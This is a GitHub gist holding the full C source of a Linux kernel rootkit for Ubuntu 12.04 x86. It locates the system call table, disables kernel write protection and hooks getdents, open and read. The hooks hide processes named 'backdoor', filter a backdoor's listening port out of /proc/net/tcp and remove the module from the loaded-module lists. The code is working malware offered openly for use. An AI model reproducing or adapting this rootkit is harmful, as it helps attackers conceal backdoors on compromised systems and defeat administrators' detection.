Created
August 6, 2016 14:13
-
-
Save brickgao/171add4bebae75a1615c91bce46cc0e1 to your computer and use it in GitHub Desktop.
A simple rootkit, works on Ubuntu 12.04 LTS x86
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Copyright (C) <2016> <Brickgao> | |
* | |
* This program is free software: you can redistribute it and/or modify | |
* it under the terms of the GNU General Public License as published by | |
* the Free Software Foundation, either version 3 of the License, or | |
* (at your option) any later version. | |
* | |
* This program is distributed in the hope that it will be useful, | |
* but WITHOUT ANY WARRANTY; without even the implied warranty of | |
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
* GNU General Public License for more details. | |
* | |
* You should have received a copy of the GNU General Public License | |
* along with this program. If not, see <http://www.gnu.org/licenses/>. | |
*/ | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <asm/unistd.h> | |
#include <linux/types.h> | |
#include <linux/sched.h> | |
#include <linux/dirent.h> | |
#include <linux/string.h> | |
#include <linux/file.h> | |
#include <linux/fs.h> | |
#include <linux/list.h> | |
#include <asm/uaccess.h> | |
#include <linux/unistd.h> | |
#define CALLOFF 100 | |
int orig_cr0; | |
char ps_name[] = "backdoor"; | |
char *process_name = ps_name; | |
const char netstat_target_string[] = "/proc/net/tcp"; | |
const char port[] = "15B3"; | |
int tcp_flag = 0; | |
struct { | |
unsigned short limit; | |
unsigned int base; | |
} __attribute__ ((packed)) idtr; | |
struct { | |
unsigned short off1; | |
unsigned short sel; | |
unsigned char none, flags; | |
unsigned short off2; | |
} __attribute__ ((packed)) * idt; | |
struct linux_dirent{ | |
unsigned long d_ino; | |
unsigned long d_off; | |
unsigned short d_reclen; | |
char d_name[]; | |
}; | |
void** sys_call_table; | |
unsigned int clear_and_return_cr0(void) { | |
unsigned int cr0 = 0; | |
unsigned int ret; | |
asm volatile ("movl %%cr0, %%eax" | |
: "=a"(cr0)); | |
ret = cr0; | |
/*clear the 20th bit of CR0,*/ | |
cr0 &= 0xfffeffff; | |
asm volatile ("movl %%eax, %%cr0" | |
: | |
: "a"(cr0)); | |
return ret; | |
} | |
void setback_cr0(unsigned int val) { | |
asm volatile ("movl %%eax, %%cr0" | |
: | |
: "a"(val)); | |
} | |
asmlinkage long (*orig_getdents64)(unsigned int fd, | |
struct linux_dirent64 __user *dirp, unsigned int count); | |
asmlinkage long (*orig_getdents)(unsigned int fd, | |
struct linux_dirent __user *dirp, unsigned int count); | |
asmlinkage ssize_t (*orig_read)(int fd, const void *buf, size_t count); | |
asmlinkage int (*orig_open)(const char *pathname, int flags); | |
char* findoffset(char *start) { | |
char *p; | |
for (p = start; p < start + CALLOFF; p++) | |
if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85') | |
return p; | |
return NULL; | |
} | |
asmlinkage long hacked_getdents64(unsigned int fd, | |
struct linux_dirent64 __user *dirp, unsigned int count) { | |
long value; | |
unsigned short len = 0; | |
unsigned short tlen = 0; | |
value = (*orig_getdents64) (fd, dirp, count); | |
tlen = value; | |
while(tlen > 0) { | |
len = dirp->d_reclen; | |
tlen = tlen - len; | |
printk("%s\n", dirp->d_name); | |
if (strstr(dirp->d_name, process_name)) { | |
printk("find process\n"); | |
memmove(dirp, (char *)dirp + dirp->d_reclen, tlen); | |
value = value - len; | |
printk(KERN_INFO "hide successful.\n"); | |
} | |
else{ | |
if (tlen) | |
dirp = (struct linux_dirent64 *)((char *)dirp + dirp->d_reclen); | |
} | |
} | |
printk(KERN_INFO "finished hacked_getdents64.\n"); | |
return value; | |
} | |
int myatoi(char *str) { | |
int res = 0, mul = 1; | |
char *ptr; | |
for (ptr = str + strlen(str) - 1; ptr >= str; ptr --) { | |
if (*ptr < '0' || *ptr > '9') return (-1); | |
res += (*ptr - '0') * mul; | |
mul *= 10; | |
} | |
if(res > 0 && res < 9999) | |
printk(KERN_INFO "pid = %d\n", res); | |
return res; | |
} | |
struct task_struct *get_task(pid_t pid) { | |
struct task_struct *p = get_current(), *entry=NULL; | |
list_for_each_entry(entry, &(p->tasks), tasks) { | |
if(entry->pid == pid) { | |
printk("pid found=%d\n", entry->pid); | |
return entry; | |
} | |
} | |
return NULL; | |
} | |
bool get_process(pid_t pid) { | |
struct task_struct *task = get_task(pid); | |
if (task) { | |
if (strstr(task->comm, process_name)) return true; | |
else return false; | |
} | |
else { | |
return true; | |
} | |
} | |
asmlinkage long hacked_getdents(unsigned int fd, | |
struct linux_dirent __user *dirp, unsigned int count) { | |
long value; | |
unsigned short len = 0; | |
unsigned short tlen = 0; | |
value = (*orig_getdents) (fd, dirp, count); | |
tlen = value; | |
while(tlen > 0) { | |
len = dirp->d_reclen; | |
tlen = tlen - len; | |
printk("%s\n",dirp->d_name); | |
if (get_process(myatoi(dirp->d_name))) { | |
printk(KERN_INFO "find process\n"); | |
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen); | |
value = value - len; | |
printk(KERN_INFO "hide successful.\n"); | |
} | |
else{ | |
if (tlen) | |
dirp = (struct linux_dirent *)((char *)dirp + dirp->d_reclen); | |
} | |
} | |
printk(KERN_INFO "finished hacked_getdents.\n"); | |
return value; | |
} | |
bool searchKeyword(void *buf, size_t count){ | |
char *p; | |
for(p = buf; p < (char *)(buf + count); ++ p){ | |
if(*p == port[0] && *(p + 1) == port[1] && *(p + 2) == port[2] && *(p + 3) == port[3]) { | |
return true; | |
} | |
} | |
return false; | |
} | |
ssize_t rmKeyWord(void *buf, size_t count){ | |
char* startLine; | |
char* endLine; | |
char* mybuf; | |
char* p; | |
int length; | |
mybuf = startLine = endLine = buf; | |
for (p = buf; p < (char *)(buf + count); ++ p) { | |
if (*p == '\x0a' || *p == '\x0d') { | |
endLine = p; | |
length = endLine - startLine; | |
if(searchKeyword(startLine, length)){ | |
memmove(startLine, endLine + 1, count - (int)(endLine + 1 - mybuf)); | |
count = count-length-1; | |
p -= length; | |
} | |
startLine=p; | |
} | |
} | |
return count; | |
} | |
asmlinkage int hacked_open(const char *pathname, int flags){ | |
int res; | |
if(!strcmp(pathname, netstat_target_string)) tcp_flag = 1; | |
else tcp_flag = 0; | |
res = (*orig_open)(pathname, flags); | |
return res; | |
} | |
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t count){ | |
ssize_t res; | |
res = (*orig_read)(fd, buf, count); | |
if (tcp_flag) | |
res = rmKeyWord(buf, res); | |
return res; | |
} | |
void** get_sct_addr(void) { | |
unsigned sys_call_off; | |
unsigned sct = 0; | |
char *p; | |
asm("sidt %0" : "=m"(idtr)); | |
idt = (void *) (idtr.base + 8 * 0x80); | |
sys_call_off = (idt->off2 << 16) | idt->off1; | |
if ((p = findoffset((char *) sys_call_off))) | |
sct = *(unsigned *) (p + 3); | |
return ((void **)sct); | |
} | |
static inline void rootkit_hide(void) { | |
list_del(&THIS_MODULE->list);//lsmod,/proc/modules | |
kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules | |
list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry | |
} | |
static int filter_init(void) { | |
sys_call_table = get_sct_addr(); | |
if (!sys_call_table) | |
{ | |
printk(KERN_INFO "get_sct_addr(): NULL...\n"); | |
return 0; | |
} | |
else { | |
printk(KERN_INFO "sct: 0x%x\n", (unsigned int)sys_call_table); | |
} | |
orig_getdents64 = sys_call_table[__NR_getdents64]; | |
printk(KERN_INFO "getdents64 offset: 0x%x\n",(unsigned int)orig_getdents64); | |
orig_getdents = sys_call_table[__NR_getdents]; | |
printk(KERN_INFO "getdents offset: 0x%x\n", (unsigned int)orig_getdents); | |
orig_open=sys_call_table[__NR_open]; | |
printk(KERN_INFO "open offset: 0x%x\n", (unsigned int)orig_open); | |
orig_read=sys_call_table[__NR_read]; | |
printk(KERN_INFO "read offset: 0x%x\n", (unsigned int)orig_read); | |
orig_cr0 = clear_and_return_cr0(); | |
sys_call_table[__NR_getdents64] = hacked_getdents64; | |
printk(KERN_INFO "hacked_getdents64: 0x%x\n",(unsigned int)hacked_getdents64); | |
sys_call_table[__NR_getdents] = hacked_getdents; | |
printk(KERN_INFO "hacked_getdents: 0x%x\n",(unsigned int)hacked_getdents); | |
sys_call_table[__NR_open] = hacked_open; | |
printk(KERN_INFO "hacked_open: 0x%x\n",(unsigned int)hacked_open); | |
sys_call_table[__NR_read] = hacked_read; | |
printk(KERN_INFO "hacked_read: 0x%x\n",(unsigned int)hacked_read); | |
setback_cr0(orig_cr0); | |
rootkit_hide(); | |
printk(KERN_INFO "hidebackdoor: module loaded.\n"); | |
return 0; | |
} | |
static void filter_exit(void) { | |
orig_cr0 = clear_and_return_cr0(); | |
if (sys_call_table) { | |
sys_call_table[__NR_getdents64] = orig_getdents64; | |
sys_call_table[__NR_getdents] = orig_getdents; | |
sys_call_table[__NR_open] = orig_open; | |
sys_call_table[__NR_read] = orig_read; | |
} | |
setback_cr0(orig_cr0); | |
printk(KERN_INFO "hidebackdoor: module removed\n"); | |
} | |
module_init(filter_init); | |
module_exit(filter_exit); | |
MODULE_LICENSE("GPL"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment